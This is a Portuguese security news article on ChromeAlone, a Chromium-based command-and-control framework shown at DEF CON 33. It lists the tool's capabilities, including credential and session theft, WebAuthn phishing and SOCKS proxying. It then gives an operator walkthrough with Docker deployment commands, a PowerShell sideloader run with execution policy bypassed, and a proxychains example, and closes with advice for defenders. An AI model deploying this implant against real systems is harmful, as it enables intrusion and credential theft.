ChromeAlone - Um Cobalt Strike baseado em navegador como a ferramen

Data: 2025-08-09 09:27:03

Autor: Inteligência Against Invaders

Na DEF CON 33, o pesquisador de segurança Mike Weber, da Praetorian Security, revelou o ChromeAlone – um *Estrutura de Comando e Controle (C2) do navegador baseado em Chromium* capaz de substituir implantes de segurança ofensivos tradicionais como Golpe de cobalto ou Meterpreter.

Não muito tempo atrás, os navegadores da web eram pouco mais do que wrappers para solicitações HTTP. Hoje, são plataformas complexas e repletas de recursos, tão sofisticadas que se assemelham a sistemas operacionais completos. Essa evolução traz conveniência, mas também uma superfície de ataque massiva.

O ChromeAlone é uma estrutura de código aberto que transforma essa complexidade em uma arma, usando recursos integrados do Chrome para replicar os recursos de um implante tradicional de Comando e Controle (C2), ao mesmo tempo em que passa pela maioria dos sistemas de detecção de endpoint.

O que diferencia o ChromeAlone é sua discrição: ele se esconde inteiramente nos recursos nativos do Chromium, evitando as pegadas óbvias de malware que Detecção e resposta de endpoint (EDR) geralmente procuram.

O ChromeAlone carrega componentes maliciosos no navegador sem interação do usuário, aproveitando:

- **APIs nativas do Chrome** para persistência.
- **WebAssembly (WASM)** para ofuscação e anti-análise.
- **Aplicativos Web e extensões isolados** como mecanismos de entrega.
- **Abuso de recursos do navegador** para evitar descartar binários suspeitos no disco.

O resultado é um implante furtivo e altamente capaz que se mistura à atividade legítima do navegador – um desafio para os sistemas antivírus e EDR tradicionais que se concentram em arquivos executáveis em vez de extensões de navegador ou processos internos.

Por que o ChromeAlone é um grande negócio

De acordo com o repositório, os implantes ChromeAlone podem:

- Atuar como um **Proxy TCP SOCKS** do hospedeiro infectado.
- **Roubar sessões do navegador** e credenciais armazenadas.
- Executar executáveis *diretamente do Chrome*.
- **Prompts do Phish WebAuthn** de YubiKeys, Titan Security Keys e outros autenticadores

físicos.
- Manter a persistência **sem binários tradicionais** — usando apenas a funcionalidade integrada do Chrome.

Para os membros da equipe vermelha, isso significa furtividade e flexibilidade. Para os defensores, isso significa mais um lugar para procurar invasões: o próprio navegador.

Guia passo a passo do operador para o ChromeAlone

Enquanto a ferramenta foi Lançado para pesquisa e testes autorizados, seu README detalha um pipeline de implantação completo. Aqui está o tutorial destilado.

1. Crie a imagem do Docker

```
docker build -t chromealone
```

2. Implante a infraestrutura

O ChromeAlone é compatível com dois modos de implantação:

Opção A – Nova implantação da AWS

Requisitos:

- Conta da AWS com:
  - Permissões completas de gravação do EC2
  - Gerenciamento de DNS do Route53
  - Pelo menos uma zona hospedada com um domínio registrado
- Credenciais da AWS CLI armazenadas em ~/.aws/credentials

Comando:

```
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --doma
in=sendmea.click --appname=UpdateService
```

- --domain deve corresponder a um domínio do Route53 que você controla.
- --appname é usado para chaves e pastas do Registro — escolha algo inócuo.

Saídas:

- **output/client** – Console de gerenciamento baseado na Web
- **output/sideloader.ps1** – Instalador do PowerShell para o destino
- **output/extension** – Extensão maliciosa do Chrome
- **output/iwa** – Pacote de aplicativos da Web isolados maliciosos
- **output/relay-deployment** – Artefatos Terraform e chave SSH para host AWS

Opção B – Usando a implantação existente

Se você já tiver um servidor implantado, aponte o ChromeAlone para seu terraform.tfvars:

```
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfva
rs=/project/path/to/terraform.tfvars --appname=UpdateService
```

Isso regenera sideloaders e extensões maliciosas **sem reimplantar a infraestrutura**.

3. Instale nos hosts de destino

Copiar sideloader.ps1 para o destino e executar:

```
powershell.exe -ExecutionPolicy Bypass -File .sideloader.ps1
```

Sinalizadores opcionais:

- -InstallNativeMessagingHost $true ? Necessário para comandos shell
- -ForceRestart $true ? Força a reinicialização do Chrome para ativação imediata

A execução normalmente leva **20 a 30 segundos**.

4. Operando o ChromeAlone

Depois de implantado, abra:

```
output/client/index.html
```

Este webapp pré-configurado se conecta ao **PLANO DE BATALHA** servidor de retransmissão.

A partir daqui, os operadores podem:

- **Histórico de despejo e cookies**
- **Capturar credenciais**
- **Acionar prompts do WebAuthn**
- **Procurar sistema de arquivos**
- **Executar comandos do shell**

5. Proxy de SOCKS

Each host infectado tem uma porta SOCKS exclusiva mostrada no painel “Informações do agente”.

Exemplo:

```
proxychains -q socks5 admin:thisisnotarealpassword@chrome.alone:1081 curl
```

Funcionamento interno do ChromeAlone

O repositório se divide em componentes especializados:

- **PLANO DE BATALHA** – Servidor de gerenciamento + scripts de implantação da AWS
- **MAÇARICO** – Aplicativo da Web isolado para proxy SOCKS e comunicações WebSocket
- **MAÇANETA** – Gerador de sideloader PowerShell
- **RODAS QUENTES** – Extensão maliciosa do Chrome (recursos baseados em WebAssembly)
- **BALDE DE TINTA** – Scripts de phishing WebAuthn

Embora o ChromeAlone seja uma ferramenta legítima de teste de penetração, ele demonstra uma tendência crescente: o armamento do software do dia a dia. Os navegadores estão se tornando cada vez mais *ambos* o vetor de ataque e o centro de comando.

Os defensores devem:

- Monitore extensões de navegador suspeitas.
- Audite a atividade do WebAuthn em busca de anomalias.
- Fique atento ao tráfego WebSocket/SOCKS de saída inesperado.